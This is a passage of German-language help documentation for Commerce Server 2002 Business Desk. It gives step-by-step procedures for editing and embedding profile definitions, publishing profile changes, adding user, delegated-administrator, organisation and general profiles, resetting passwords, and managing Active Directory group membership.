    Schlüsseltyp | Das Feld bleibt leer. UniqueKey, JoinKey, PrimaryKey, DualKey oder HashingKey kommen als Werte für den Schlüsseltyp nicht in Frage.
    Verschlüsselt | Wählen Sie in der Dropdownliste einen der verschlüsselten Typen aus (Keine Verschlüsselung, Unidirektionales Hash oder Asymmetrische Verschlüsselung).
    Exportiert | Deaktivieren Sie das Kontrollkästchen Ja.
    Mehrwertig | Optional.
    Suche aktivieren | Deaktivieren Sie das Kontrollkästchen Ja.
    Hashschlüssel | Deaktivieren Sie das Kontrollkästchen Ja.

    Hinweis

  • Im Abschnitt Benutzerdefinierte Attribute können verschlüsselte Eigenschaften nicht als "displaycolumn" oder "friendlyname" gekennzeichnet werden (diese Möglichkeit besteht nur in den Profil-Editor-Modulen).
  • Auf der Eigenschaftsebene können keine benutzerdefinierten Attribute mit der Bezeichnung EncryptionType (ohne Berücksichtigung der Groß- und Kleinschreibung) erstellt werden.
  1. Klicken Sie auf Übernehmen und anschließend auf Speichern.

Weitere Informationen finden Sie unter Verwalten von verschlüsselten Profileigenschaften.


Einbetten einer Profildefinition

Mithilfe des Moduls "Profildefinitions-Designer" können Sie eine Beziehung zwischen zwei Profildefinitionen herstellen, indem Sie eine Profildefinition in eine andere einbetten. Auf der Grundlage dieser Beziehung werden Profile erstellt, die miteinander verbunden sind.

Eingebettete Profildefinitionen bieten folgende Möglichkeiten:

  • Erstellen einer Hierarchie von eingebetteten Profildefinitionen für bis zu vier Ebenen. Ihr Systemadministrator kann die Anzahl der Ebenen noch erhöhen.
  • Hinzufügen einer unbegrenzten Anzahl von Eigenschaften vom Typ Profil zu einer Profildefinition (einzige Beschränkung ist die Größe des zugrunde liegenden Datenspeichers).
  • Definieren der eingebetteten Profildefinitionen als einwertig, um nur ein Profil zu erfassen, oder als mehrwertig, um unbegrenzt viele Profile zu erfassen (einzige Beschränkung bilden die Systemressourcen).

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So betten Sie eine Profildefinition ein

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.
  2. Wählen Sie im Bildschirm Profile die Profildefinition aus, in die Sie eine Profildefinition einbetten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Profil: Profildefinition in der Liste Eigenschaften die Eigenschaft aus, in die Sie die Profildefinition einbetten möchten.

    Hinweis

    • Wenn die Eigenschaft in der Liste Eigenschaften nicht angezeigt wird, erweitern Sie die Eigenschaftsgruppe mit der Eigenschaft, in die Sie die Profildefinition einbetten möchten. Wählen Sie anschließend die Eigenschaft aus.
  4. Wählen Sie im Bereich Attribute in der Dropdownliste Typ den Eintrag Profil aus.
  5. Klicken Sie im Feld Typverweis auf die Auslassungsschaltfläche […], um das Dialogfeld Profilauswahl zu öffnen.
  6. Erweitern Sie im Dialogfeld Profilauswahl in der Liste Ein Profil auswählen den Profilkatalog, und wählen Sie anschließend die Profildefinition aus, die Sie in die Eigenschaft einbetten möchten.
  7. Klicken Sie auf OK.
  8. Klicken Sie auf Übernehmen, um die eingebettete Eigenschaft zu übernehmen.
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die bearbeitete Eigenschaft zu speichern und zum Bildschirm Profile zurückzukehren.

Die bearbeitete Profildefinition wird gespeichert.

Siehe auch

Profileigenschaften

Hinzufügen von Eigenschaften zu einer Profildefinition

Bearbeiten von Profileigenschaften

Einbetten der Profildefinition "Adresse"

Hinzufügen von Eigenschaften, mit denen Sitebegriffe zugeordnet werden


Einbetten der Profildefinition "Adresse"

Sie können der Profildefinition Benutzerobjekt die Eigenschaft Rechnungsadresse hinzufügen und mit ihrer Hilfe die Profildefinition Adresse einbetten. Wenn Sie die Eigenschaft Rechnungsadresse als einwertig definieren, kann für jeden Benutzer nur ein Adressprofil erstellt werden. Um zum Erfassen einer Rechnungsadresse für jeden Benutzer eine Profildefinition Adresse in die Profildefinition Benutzerobjekt einzubetten, führen Sie die folgenden Schritte aus:

  1. Fügen Sie der Profildefinition Benutzerobjekt eine Eigenschaft mit dem Namen Rechnungsadresse hinzu.
  2. Definieren Sie die Eigenschaft Rechnungsadresse als Profil mit dem Attribut Typ.
  3. Wählen Sie die Profildefinition Adresse als Typverweis für die Eigenschaft Rechnungsadresse aus.
  4. Ordnen Sie die neue Eigenschaft Rechnungsadresse einem Datenelement vom Typ Zeichenfolge zu.
  5. Definieren Sie die Eigenschaft Rechnungsadresse als einwertige Eigenschaft, um eine Rechnungsadresse für jeden Benutzer zu erfassen.
  6. Definieren Sie die Eigenschaft Rechnungsadresse als Exportiert, sodass der Wert der Eigenschaft mit den Benutzerprofildaten in das Data Warehouse importiert wird.

Der Primärschlüssel des Profils, das die Rechnungsadressdaten des Benutzers enthält, wird in der Eigenschaft Rechnungsadresse des Benutzerprofils gespeichert.

Mithilfe des Benutzermoduls können Sie das Benutzerprofil bearbeiten. Außerdem können Sie aus dem Benutzerprofil heraus auf das Rechnungsadressprofil für den Benutzer zugreifen. Mithilfe der Benutzermodule können Sie auf bis zu vier Ebenen von eingebetteten Profilen zugreifen.


Veröffentlichen von Profildefinitionsänderungen in Ihrer Website

Bevor Sie Daten zu neuen Profileigenschaften hinzufügen können, müssen die Profildefinitionsänderungen in der Website veröffentlicht werden. Die Aktualisierung der Website mit den neuesten Änderungen erfolgt mithilfe des Profilveröffentlichungsmoduls. Bei den meisten E-Commerce-Geschäften werden diese Änderungen zunächst in einer Testsite vorgenommen und erst anschließend in der Produktionssite veröffentlicht. Wenden Sie sich an Ihren Systemadministrator, um weitere Informationen über das "Wann" und "Wie" der Änderungen in der Produktionssite zu erfahren.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweise

  • Verlegen Sie die Veröffentlichung von Profiländerungen in Ihrer Website nach Möglichkeit auf Zeiten, zu denen die Website nicht so stark frequentiert ist. Wenn Sie Profiländerungen während der Spitzenzeit veröffentlichen, führt dies mit hoher Wahrscheinlichkeit zum Absturz der Site.

So veröffentlichen Sie Profiländerungen

  1. Klicken Sie im Menü Profile auf Profile veröffentlichen.
  2. Wählen Sie im Bildschirm Profile veröffentlichen die Site aus, in der Sie die Änderungen der Profildefinition veröffentlichen möchten, und klicken Sie anschließend auf der Symbolleiste auf Änderungen zur Produktion veröffentlichen und Cache aktualisieren.

    Hinweise

    • Wird Ihre Site von mehreren Webservern bedient, müssen Sie die Profildefinitionsänderungen auf jedem Webserver veröffentlichen.
    • Klicken Sie auf Aktualisieren, um die Statusliste der Server zu aktualisieren. Diese Aktion bewirkt nicht, dass bereits veröffentlichte Änderungen zurückgesetzt oder rückgängig gemacht werden.

Die Profildefinitionsänderungen werden nun in Ihrer Website veröffentlicht.

Siehe auch

Profildefinitionen

Verwalten von Profildefinitionen


Hinzufügen eines Benutzerprofils

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Der Bildschirm Neues Profil enthält möglicherweise nicht dieselben Eigenschaften, die in dieser Prozedur vorkommen. Die im Bildschirm Neues Profil angezeigten Eigenschaften richten sich nach der Profildefinition Benutzerobjekt. Wenn Sie in der Profildefinition Benutzerobjekt die Eigenschaften geändert haben, wirken sich diese Änderungen auf den Bildschirm Neues Profil aus. Informationen über das Ändern der Eigenschaften einer Profildefinition finden Sie unter Verwalten von Profildefinitionen.

So fügen Sie einen neuen Benutzer hinzu

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Klicken Sie im Bildschirm Benutzerobjekt auf der Symbolleiste auf Hinzufügen.
  3. Führen Sie im Bildschirm Neu: Benutzerobjekt im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie den Anmeldenamen für den neuen Benutzer ein.
    Benutzerkennwort | Geben Sie das Kennwort für den neuen Benutzer ein.
    E-Mail | Geben Sie die E-Mail-Adresse des neuen Benutzers ein.
    Benutzertyp | Wählen Sie in der Dropdownliste aus, ob der neue Benutzer Registriert oder Anonym ist. In der Regel werden Sie nur registrierte Benutzer erstellen.
    Anrede des Benutzers | Geben Sie die Anrede (z. B. Frau oder Herr) für den neuen Benutzer ein.
    Nachname | Geben Sie den Nachnamen des neuen Benutzers ein.
    Vorname | Geben Sie den Vornamen für den neuen Benutzer ein.
    Rufnummer | Geben Sie die Rufnummer für den neuen Benutzer ein.
    Durchwahl | Geben Sie die Durchwahl des neuen Benutzers ein.
    Faxnummer | Geben Sie die Faxnummer des neuen Benutzers ein.
    Faxdurchwahl | Geben Sie die Faxdurchwahl des neuen Benutzers ein.
    Standardsprache | Geben Sie die Standardsprache für den neuen Benutzer ein.
  4. Führen Sie im Bereich Kontoinformationen folgende Schritte aus:
    Funktion | Aktion
    Organisations-ID Geben Sie in der Dropdownliste an, ob Sie ein Neues Profil erstellen oder in die Eigenschaft Organisations-ID ein Vorhandenes Profil einfügen möchten.

    Wenn Sie Neues Profil erstellen auswählen, wird der Bildschirm Neue Organisation angezeigt. Informationen zum Erstellen neuer Organisationsprofile finden Sie unter Hinzufügen eines Organisationsprofils.

    Wenn Sie Vorhandenes Profil einfügen auswählen, wird der Bildschirm Organisation angezeigt. Um das Organisationsprofil in die Eigenschaft Organisations-ID einzubetten, wählen Sie die vorhandene Organisation in der Liste Gefilterte Ansicht aus, und klicken Sie dann auf der Symbolleiste auf Auswählen. Informationen über das Suchen eines vorhandenen Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
    Kontostatus | Geben Sie in der Dropdownliste an, ob der Benutzer über ein Aktives Konto oder ein Inaktives Konto verfügt. Der Standardstatus ist Aktives Konto. Benutzer mit inaktiven Konten können sich nicht in Ihrer Site anmelden.
    Benutzerkatalogsatz | Wählen Sie den Katalogsatz, zu dem der Benutzer Zugang haben soll, in der Dropdownliste aus.
    Registriert am | Wählen Sie im Dropdownkalender das Datum aus, an dem der neue Benutzer registriert wird.
  5. Führen Sie im Abschnitt Partnerservice folgende Schritte aus:
    Funktion | Aktion
    Flags für die Partnerservicerolle | Wählen Sie in der Dropdownliste Normaler Benutzer oder Administrator aus. Das Standardrollenflag ist Normaler Benutzer. Benutzer mit dem Flag Administrator sind delegierte Administratoren und verfügen für ihre Organisation über erweiterten Zugriff (z. B. zum Überprüfen von Bestellungen und Erstellen von Benutzerprofilen) auf Sites, die delegierte Administratoren unterstützen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das neue Benutzerprofil zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren.

Das neue Benutzerprofil wird gespeichert.

Siehe auch

Informationen über Profile

Löschen von Benutzerprofilen

Suchen eines Benutzerprofils

Hinzufügen eines Organisationsprofils


Hinzufügen eines delegierten Administrators

Mit dem Benutzermodul können Sie einen Benutzer hinzufügen, der als delegierter Administrator für die Anmeldung bei einer SupplierAD-Site ausgewählt wurde. Delegierte Administratoren sind Benutzer mit Administratorrechten, die für ihre Organisation in einer Site, die delegierte Administratoren unterstützt, über erweiterte Zugriffsrechte verfügen (z. B. zum Überprüfen von Bestellungen und Erstellen von Benutzerprofilen).

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Der Bildschirm Neues Profil enthält möglicherweise nicht dieselben Eigenschaften, die in dieser Prozedur vorkommen. Wenn Sie in der Profildefinition Benutzerobjekt die Eigenschaften geändert haben, werden diese Änderungen im Bildschirm Neues Profil angezeigt. Informationen über das Ändern der Eigenschaften einer Profildefinition finden Sie unter Verwalten von Profildefinitionen.

So fügen Sie einen delegierten Administrator hinzu

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Klicken Sie im Bildschirm Benutzerobjekt auf der Symbolleiste auf Hinzufügen.
  3. Führen Sie im Bildschirm Neu: Benutzerobjekt im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie den Anmeldenamen des neuen delegierten Administrators ein.
    Benutzerkennwort | Geben Sie das Kennwort für den neuen delegierten Administrator ein.
    E-Mail | Geben Sie die E-Mail-Adresse des neuen delegierten Administrators ein.
    Benutzertyp | Wählen Sie in der Dropdownliste die Option Registrierter Benutzer aus.
    Anrede des Benutzers | Geben Sie die Anrede (z. B. Frau oder Herr) für den delegierten Administrator ein.
    Nachname | Geben Sie den Nachnamen des neuen delegierten Administrators ein.
    Vorname | Geben Sie den Vornamen des neuen delegierten Administrators ein.
    Rufnummer | Geben Sie die Rufnummer des neuen delegierten Administrators ein.
    Durchwahl | Geben Sie die Durchwahl des neuen delegierten Administrators ein.
    Faxnummer | Geben Sie die Faxnummer des neuen delegierten Administrators ein.
    Faxdurchwahl | Geben Sie die Faxdurchwahl des neuen delegierten Administrators ein.
    Standardsprache | Geben Sie die Standardsprache für den neuen delegierten Administrator ein.
  4. Führen Sie im Bereich Kontoinformationen folgende Schritte aus:
    Funktion | Aktion
    Organisations-ID Geben Sie in der Dropdownliste an, ob Sie ein Neues Profil erstellen oder in die Eigenschaft Organisations-ID ein Vorhandenes Profil einfügen möchten.

    Wenn Sie Neues Profil erstellen auswählen, wird der Bildschirm Neue Organisation angezeigt. Informationen zum Erstellen neuer Organisationsprofile finden Sie unter Hinzufügen eines Organisationsprofils.

    Wenn Sie Vorhandenes Profil einfügen auswählen, wird der Bildschirm Organisation angezeigt. Um das Organisationsprofil in die Eigenschaft Organisations-ID einzubetten, wählen Sie die vorhandene Organisation in der Liste Gefilterte Ansicht aus, und klicken Sie anschließend auf der Symbolleiste auf Auswählen. Informationen über das Suchen eines vorhandenen Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
    Kontostatus | Wählen Sie in der Dropdownliste die Option Aktives Konto. Der Standardstatus ist Aktives Konto. Benutzer mit inaktiven Konten können sich nicht in Ihrer Site anmelden.
    Benutzerkatalogsatz | Wählen Sie in der Dropdownliste den Katalogsatz aus, zu dem der delegierte Administrator Zugang haben soll.
    Registriert am | Wählen Sie im Dropdownkalender das Datum des Tages aus, an dem der neue delegierte Administrator registriert wird.
  5. Führen Sie im Abschnitt Partnerservice folgende Schritte aus:
    Funktion | Aktion
    Flags für die Partnerservicerolle | Wählen Sie in der Dropdownliste die Option Administrator aus. Delegierte Administratoren sind Benutzer mit Administratorrechten, die für ihre Organisation über erweiterten Zugriff verfügen (z. B. zum Überprüfen von Bestellungen und Erstellen von Benutzerprofilen) in einer Site, die delegierte Administratoren unterstützt.
  6. Um das neue Benutzerprofil zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Das Profil des neuen delegierten Administrators wird gespeichert.

Siehe auch

Informationen über Profile

Suchen eines Benutzerprofils

Bearbeiten von Benutzerprofilen

Hinzufügen eines Organisationsprofils


Zurücksetzen eines Benutzerkennworts

Mithilfe des Benutzermoduls können Kennwörter für registrierte Benutzer zurückgesetzt werden, die ihre vergessen haben. Nachdem Sie das Kennwort des Benutzers zurückgesetzt haben, müssen Sie dem Benutzer das neue Kennwort mitteilen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So setzen Sie ein Benutzerkennwort zurück

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Um das Profil eines bestimmten Benutzers anzuzeigen, verwenden Sie oben im Bildschirm Benutzer den Bereich Suchen. Informationen über das Suchen eines Benutzerprofils finden Sie unter Suchen eines Benutzerprofils.
  3. Wählen Sie in der Liste Gefilterte Ansicht das Profil für den Benutzer aus, dessen Kennwort Sie zurücksetzen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Klicken Sie im Bildschirm Profil aktualisieren: Benutzerprofil im Feld Benutzerkennwort des Bereichs Allgemeine Informationen auf die Schaltfläche Auslassungsschaltfläche.

  4. Geben Sie im Dialogfeld Kennwort zurücksetzen im Feld Neues Kennwort das neue Kennwort ein, und geben Sie es im Feld Kennwort bestätigen erneut ein.

    Hinweis

    • Kennwörter müssen zwischen 7 und 14 alphanumerische Zeichen enthalten. Bei Kennwörtern wird zwischen Groß- und Kleinschreibung unterschieden. Kennwörter dürfen keine Leerzeichen enthalten.
  5. Um das neue Kennwort zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Das Benutzerprofil wird mit dem neuen Kennwort gespeichert. Sie müssen dem Benutzer das neue Kennwort mitteilen.


Hinzufügen eines Organisationsprofils

Mithilfe des Moduls "Organisationen" können Sie Ihrer Site Organisationsprofile hinzufügen. Sie können Informationen für die Organisationen angeben (z. B. Identifizierungs- und Kontaktinformationen) und den Katalogsatz festlegen, den Sie dafür verfügbar machen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Der Bildschirm Neue Organisation enthält möglicherweise nicht dieselben Eigenschaften, die in dieser Prozedur vorkommen. Wenn Sie in der Profildefinition Organisation die Eigenschaften geändert haben, werden diese Änderungen im Bildschirm Neue Organisation angezeigt. Informationen über das Ändern der Eigenschaften einer Profildefinition finden Sie unter Verwalten von Profildefinitionen.

So fügen Sie ein Organisationsprofil hinzu

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Klicken Sie im Bildschirm Organisation auf der Symbolleiste auf Hinzufügen.
  3. Führen Sie im Bildschirm Neue Organisation im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie den Namen der Organisation ein. Namen von Organisationen können bis zu 53 alphanumerische Zeichen lang sein. Der Name darf Leerzeichen enthalten.
    Nummer des Handelspartners | Geben Sie die Nummer der Organisation oder des Handelspartners ein.
    Administrativer Kontakt Geben Sie in der Dropdownliste an, ob Sie ein Neues Profil erstellen oder in die Eigenschaft Administrativer Kontakt ein Vorhandenes Profil einfügen möchten.

    Wenn Sie Neues Profil erstellen auswählen, wird der Bildschirm Neu: Benutzerobjekt angezeigt. Informationen zum Erstellen neuer Benutzerprofile finden Sie unter Hinzufügen eines Benutzerprofils.

    Wenn Sie Vorhandenes Profil einfügen auswählen, wird der Bildschirm Benutzerobjekt angezeigt. Um das Benutzerprofil in die Eigenschaft Administrativer Kontakt einzubetten, wählen Sie den vorhandenen Benutzer aus der Liste Gefilterte Ansicht aus, und klicken Sie anschließend auf der Symbolleiste auf Auswählen. Informationen über das Suchen eines Benutzers finden Sie unter Suchen eines Benutzerprofils.
    Empfänger Wählen Sie in der Dropdownliste die Person aus, die die vom Lieferanten für die Organisation versendeten Produkte in Empfang nimmt. Wenn der Benutzer in der Dropdownliste nicht enthalten ist, geben Sie an, ob Sie ein Neues Profil erstellen oder für den Empfänger der neuen Organisation ein Vorhandenes Profil einfügen möchten.

    Wenn Sie Neues Profil erstellen auswählen, wird der Bildschirm Neu: Benutzerobjekt angezeigt. Informationen zum Erstellen neuer Benutzerprofile finden Sie unter Hinzufügen eines Benutzerprofils.

    Wenn Sie Vorhandenes Profil einfügen auswählen, wird der Bildschirm Benutzerobjekt angezeigt. Um das Benutzerprofil in die Eigenschaft Empfänger einzubetten, wählen Sie den Benutzer in der Liste Gefilterte Ansicht aus, und klicken Sie anschließend auf der Symbolleiste auf Auswählen. Informationen über das Suchen eines Benutzers finden Sie unter Suchen eines Benutzerprofils.
    Organisationskatalogsatz | Wählen Sie den Katalogsatz in der Dropdownliste aus, zu dem die Organisation Zugang haben soll.
  4. Führen Sie im Bereich Einkäufer folgende Schritte aus:
    Funktion Aktion
    Einkaufs-Manager Geben Sie in der Dropdownliste an, ob Sie ein Neues Profil erstellen oder in die Eigenschaft Einkaufs-Manager ein Vorhandenes Profil einfügen möchten.

    Wenn Sie Neues Profil erstellen auswählen, wird der Bildschirm Neu: Benutzerobjekt angezeigt. Informationen zum Erstellen neuer Benutzerprofile finden Sie unter Hinzufügen eines Benutzerprofils.

    Wenn Sie Vorhandenes Profil einfügen auswählen, wird der Bildschirm Benutzerobjekt angezeigt. Um das Profil in die Eigenschaft Einkaufs-Manager einzubetten, wählen Sie den Benutzer in der Liste Gefilterte Ansicht aus, und klicken Sie anschließend auf der Symbolleiste auf Auswählen. Informationen über das Suchen eines Benutzers finden Sie unter Suchen eines Benutzerprofils.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Organisation zu speichern und zum Bildschirm Organisation zurückzukehren.

Das Organisationsprofil wird mit dem angegebenen administrativen Kontakt, Empfänger und Einkaufs-Manager gespeichert.

Siehe auch

Informationen über Profile

Bearbeiten von Organisationsprofilen

Suchen eines Organisationsprofils

Hinzufügen eines Benutzerprofils

Suchen eines Benutzerprofils


Hinzufügen eines allgemeinen Profils

Im Modul "Profil-Editor" können Sie allgemeine Profile für Ihre Site hinzufügen. Allgemeine Profile können mit allen Profildefinitionen erstellt werden, bei denen es sich nicht um die Profildefinition Benutzerobjekt oder Organisation handelt.

Um ein neues Profil auf der Grundlage einer vorhandenen allgemeinen Profildefinition zu errichten, muss die Profildefinition zwei benutzerdefinierte Attribute enthalten:

  • Das Attribut sDisplayColumn weist auf dem Bildschirm Suchen des Moduls "Profil-Editor" eine Eigenschaft als Titel für eine Spalte zu.

    Wenn das Attribut sDisplayColumn für eine Profildefinition nicht eingerichtet ist, kann Commerce Server Business Desk die für diese Profildefinition erstellten Profile nicht auf dem Bildschirm Suchen des Moduls "Profil-Editor" anzeigen, und Sie können die Profile nicht bearbeiten.

  • Das Attribut sFriendlyName legt fest, welche Eigenschaft als am weitesten links stehende Spalte auf dem Bildschirm Suchen im Modul "Profil-Editor" sowie in der Titelleiste des Bildschirms Profil bearbeiten: Anzeigename im Modul "Profil-Editor" angezeigt wird. Informationen über benutzerdefinierte Attribute und über das Hinzufügen dieser Attribute zu einer Profildefinition finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Die folgende Prozedur basiert auf der Profildefinition Pauschalbestellungen.

Hinweis

  • Wenn Sie eine andere Profildefinition als Pauschalbestellungen verwenden, oder wenn Sie die Eigenschaften in der Profildefinition Pauschalbestellungen geändert haben, enthält der Bildschirm Profildefinition andere Eigenschaften, als in dieser Prozedur vorkommen. Informationen über das Ändern der Eigenschaften einer Profildefinition finden Sie unter Verwalten von Profildefinitionen.

So fügen Sie ein allgemeines Profil hinzu

  1. Klicken Sie im Menü Profile auf die Option Profil-Editor.
  2. Wählen Sie im Bildschirm Profile die Profildefinition Pauschalbestellungen aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Klicken Sie im Bildschirm Pauschalbestellungen auf der Symbolleiste auf Hinzufügen.
  4. Führen Sie im Bildschirm Neu: Pauschalbestellungen folgende Schritte aus:
    Funktion | Aktion
    Organisations-ID Geben Sie in der Dropdownliste an, ob Sie ein Neues Profil erstellen oder in die Eigenschaft Organisations-ID ein Vorhandenes Profil einfügen möchten.

    Wenn Sie Neues Profil erstellen auswählen, wird der Bildschirm Neue Organisation angezeigt. Informationen zum Erstellen neuer Organisationsprofile finden Sie unter Hinzufügen eines Organisationsprofils.

    Wenn Sie Vorhandenes Profil einfügen auswählen, wird der Bildschirm Organisation angezeigt. Um das Organisationsprofil in die Eigenschaft Organisations-ID einzubetten, wählen Sie die vorhandene Organisation in der Liste Gefilterte Ansicht aus, und klicken Sie anschließend auf der Symbolleiste auf Auswählen. Informationen über das Suchen eines vorhandenen Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
    Bestellnummer | Geben Sie die Nummer der Pauschalbestellung ein.
    Beschreibung | Geben Sie eine Beschreibung der Pauschalbestellung ein.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Profil zu speichern und zum Bildschirm Profildefinition für dieses Profil zurückzukehren.

Das Profil wird gespeichert. Mithilfe der Suchfunktion können Sie das neue Profil im Bildschirm Suchen anzeigen. Informationen über das Suchen eines allgemeinen Profils finden Sie unter Suchen eines allgemeinen Profils. Sie können entweder ein neues Profil auf der Grundlage derselben Profildefinition hinzufügen oder auf Zurück klicken, um zum Bildschirm Profile zurückzukehren und eine Profildefinition eines anderen Typs auszuwählen, auf deren Basis Sie dann ein Profil erstellen.

Siehe auch

Bearbeiten von allgemeinen Profilen

Suchen eines allgemeinen Profils

Löschen von allgemeinen Profilen


Hinzufügen von Benutzern zu einer ActiveDirectory-Gruppe

Feedback zu dieser Seite senden Commerce Server 2002

Hinzufügen von Benutzern zu einer Active Directory-Gruppe

Mit dem in Commerce Server Business Desk enthaltenen Modul "Gruppen-Manager" verwalten Sie Mitgliedschaften in Active Directory-Gruppen. Das Modul "Gruppen-Manager" steht in Business Desk nur zur Verfügung, wenn Ihre Site basierend auf der SupplierAD-Lösungssite erstellt wurde.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So fügen Sie einen Benutzer zu einer Active Directory-Gruppe hinzu

Hinweis

  • Die Active Directory-Gruppe, der Sie einen Benutzer hinzufügen möchten, muss innerhalb der Active Directory-Baumstruktur über einen eindeutigen Namen verfügen.
  1. Klicken Sie im Menü Profile auf Gruppen-Manager.
  2. Wählen Sie im Bereich Suchen des Bildschirms Benutzer oder Gruppe suchen die Option Benutzer aus.
  3. Geben Sie im Suchfilter den Namen des Benutzers ein, den Sie hinzufügen möchten. Sie können im Namen auch Platzhalterzeichen (*) verwenden.
  4. Klicken Sie auf Suchen. Wenn die Suche keinen oder mehr als 1.000 Treffer ergibt, wird eine Fehlermeldung angezeigt. Wenn die Suche erfolgreich ist, werden die Ergebnisse im Feld Benutzername angezeigt.
  5. Wählen Sie den Benutzer aus, den Sie einer Active Directory-Gruppe hinzufügen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  6. Geben Sie im Suchfilter des Bildschirms Benutzer verwalten den Namen der Active Directory-Gruppe ein, der Sie den Benutzer hinzufügen möchten. Sie können bei der Namenssuche Platzhalterzeichen (*) verwenden.
  7. Klicken Sie auf Suchen.
  8. Wählen Sie in der Liste Suchergebnisse die Active Directory-Gruppe aus, der Sie den Benutzer hinzufügen möchten, und klicken Sie anschließend auf der Symbolleiste auf Objekt hinzufügen, um den Benutzer hinzuzufügen und die an der Active Directory-Gruppe vorgenommenen Änderungen zu speichern.
  9. In der Liste Gruppen, denen dieser Benutzer angehört werden alle Gruppen angezeigt, denen der Benutzer derzeit angehört.
  10. Klicken Sie auf Zurück, um zum Bildschirm Benutzer oder Gruppe suchen zurückzukehren.

Der neue Benutzer wurde der angegebenen Active Directory-Gruppe hinzugefügt. Sie können nun weitere neue Benutzer bzw. Active Directory-Gruppen hinzufügen oder auf ein anderes Modul in Business Desk klicken.


Hinzufügen von Gruppen zu einer ActiveDirectory-Gruppe

Feedback zu dieser Seite senden Commerce Server 2002

Hinzufügen von Gruppen zu einer Active Directory-Gruppe

Mit dem in Commerce Server Business Desk enthaltenen Modul "Gruppen-Manager" verwalten Sie Mitgliedschaften in Active Directory-Gruppen. Das Modul "Gruppen-Manager" steht in Business Desk nur zur Verfügung, wenn Ihre Site basierend auf der SupplierAD-Lösungssite erstellt wurde.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So fügen Sie eine Gruppe zu einer Active Directory-Gruppe hinzu

Hinweis

  • Die Active Directory-Gruppe, der Sie eine Gruppe hinzufügen möchten, muss innerhalb der Active Directory-Baumstruktur über einen eindeutigen Namen verfügen.
  1. Klicken Sie im Menü Profile auf Gruppen-Manager.
  2. Wählen Sie im Bereich Suchen des Bildschirms Benutzer oder Gruppe suchen die Option Gruppen aus.
  3. Geben Sie im Suchfilter den Namen der Gruppe ein, die Sie hinzufügen möchten. Sie können im Namen auch Platzhalterzeichen (*) verwenden.
  4. Klicken Sie auf Suchen. Wenn die Suche keinen oder mehr als 1.000 Treffer ergibt, wird eine Fehlermeldung angezeigt. Wenn die Suche erfolgreich ist, werden die Ergebnisse im Dialogfeld angezeigt.
  5. Wählen Sie die Gruppe aus, die Sie einer Active Directory-Gruppe hinzufügen möchten, und klicken Sie dann auf der Symbolleiste auf . Öffnen
  6. Geben Sie im Suchfilter des Bildschirms Benutzer verwalten den Namen der Active Directory-Gruppe ein, der Sie die Gruppe hinzufügen möchten. Sie können bei der Namenssuche Platzhalterzeichen (*) verwenden.
  7. Klicken Sie auf Suchen.
  8. Wählen Sie in der Liste Suchergebnisse die Active Directory-Gruppe aus, der Sie die Gruppe hinzufügen möchten, und klicken Sie anschließend auf der Symbolleiste auf Objekt hinzufügen, um die Gruppe hinzuzufügen und die an der Active Directory-Gruppe vorgenommenen Änderungen zu speichern.
  9. In der Liste Objekte, die zu dieser Gruppe gehören werden die Active Directory-Gruppen angezeigt, denen die Active Directory-Gruppe zurzeit angehört.
